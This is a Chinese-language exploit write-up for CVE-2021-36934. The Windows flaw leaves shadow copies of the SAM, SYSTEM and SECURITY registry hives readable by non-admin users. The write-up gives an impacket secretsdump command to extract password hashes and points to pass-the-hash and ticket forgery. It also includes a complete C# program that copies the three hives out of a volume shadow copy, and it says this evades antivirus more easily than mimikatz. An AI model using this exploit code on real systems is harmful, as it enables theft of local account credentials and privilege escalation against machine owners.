利用CVE-2021–36934获取用户密码哈希
简介
来自于最近的一个新洞CVE-2021–36934,具体是windows的卷影副本给了user读写权限,导致用户可以绕过本机被占用的sam文件访问卷影副本种的sam文件。
利用
通过vssadmin list shadows
查看卷影副本的路径,效果如下。
该命令需要管理员权限运行,但默认目录名就为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy
,在有多个卷影集的情况下会像上图一样在后面加上1,2,3…。所以普通利用只需要遍历这几个目录即可,能做到无管理员权限导出sam文件
用一般的文件操作函数都可以访问这个目录,简单写一个遍历函数,可以遍历得到结果就是c盘的目录结构,即卷影副本就为c盘的不完全备份
sam文件目录位于C:\\Windows\System32\config\SAM
,简单进行一个拼接,卷影文件目录就位于\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SAM
。读取这个文件并写入当前目录下,就可以得到这个文件的备份了。
整个c盘都是可以遍历的,但我们的目标是dump sam文件获取密码,所以我们需要的是sam,security和system三个文件,三个文件都在config下,同样的姿势去备份出来,就可以开始sam文件解密了
这里我用的impacket的secretdump
secretsdump.exe -sam SAM -security SECURITY -system SYSTEM LOCAL
导出的哈希用于PTH和票据等伪造这里就不作细致分析了。另外鉴于可以得到绝大部分系统文件的访问权限,应该不止这一种利用方法,包括微软官方也将其定性为权限提升漏洞。
c#脚本导出文件
简单写的脚本用于从卷影导出文件,仅提供思路。鉴于不用管理员权限,自己写也比较容易,比mimikatz更容易免杀,效果应该更好,大家见仁见智。
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Runtime.InteropServices;
namespace readfile
{
class Program
{
//遍历目录
public static void Traversal(string path)
{
DirectoryInfo TheFolder = new DirectoryInfo(path);
FileSystemInfo[] a = TheFolder.GetFileSystemInfos();
List<String> list = new List<string>();
foreach (FileSystemInfo NextFile in a)
{
list.Add(NextFile.FullName);
Console.WriteLine(NextFile.FullName);
}
}
public static bool CopyFileToCurrentPath(string filepath,string currentpath)
{
bool result = false;
try
{
FileInfo file = new FileInfo(filepath);
Console.WriteLine("Attributes :>> " + file.Attributes);
Console.WriteLine("FullName :>> " + file.FullName);
Console.WriteLine("LastWriteTime :>> " + file.LastWriteTime);
Console.WriteLine("Length :>> " + file.Length);
Console.WriteLine("Name And Extension :>> " + file.Name + "." + file.Extension);
FileStream fs = File.OpenRead(filepath);
byte[] filebyte = new byte[file.Length];
UTF8Encoding temp = new UTF8Encoding(true);
while (fs.Read(filebyte, 0, filebyte.Length) > 0)
{
Console.WriteLine(temp.GetString(filebyte));
}
string filename = currentpath + @"\" + file.Name + "." + file.Extension;
Console.WriteLine(filename);
FileStream fs2 = new FileStream(filename, FileMode.OpenOrCreate, FileAccess.Write);
fs2.Write(filebyte, 0, filebyte.Length);
result = true;
}
catch
{
result = false;
}
return result;
}
static void Main(string[] args)
{
string currentpath = System.Environment.CurrentDirectory;
//备份路径,来自管理员执行命令vssadmin list shadows
//默认就是\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy,有多个备份时才有区别
string vsspath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3";
//sam和system文件路径
string sampath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SAM";
string systempath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SYSTEM";
string securitypath = @"\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\System32\config\SECURITY";
//Traversal(vsspath);
CopyFileToCurrentPath(sampath, currentpath);
CopyFileToCurrentPath(systempath, currentpath);
CopyFileToCurrentPath(securitypath, currentpath);
}
}
}
影响版本
Windows 10 version 1809 以后的所有版本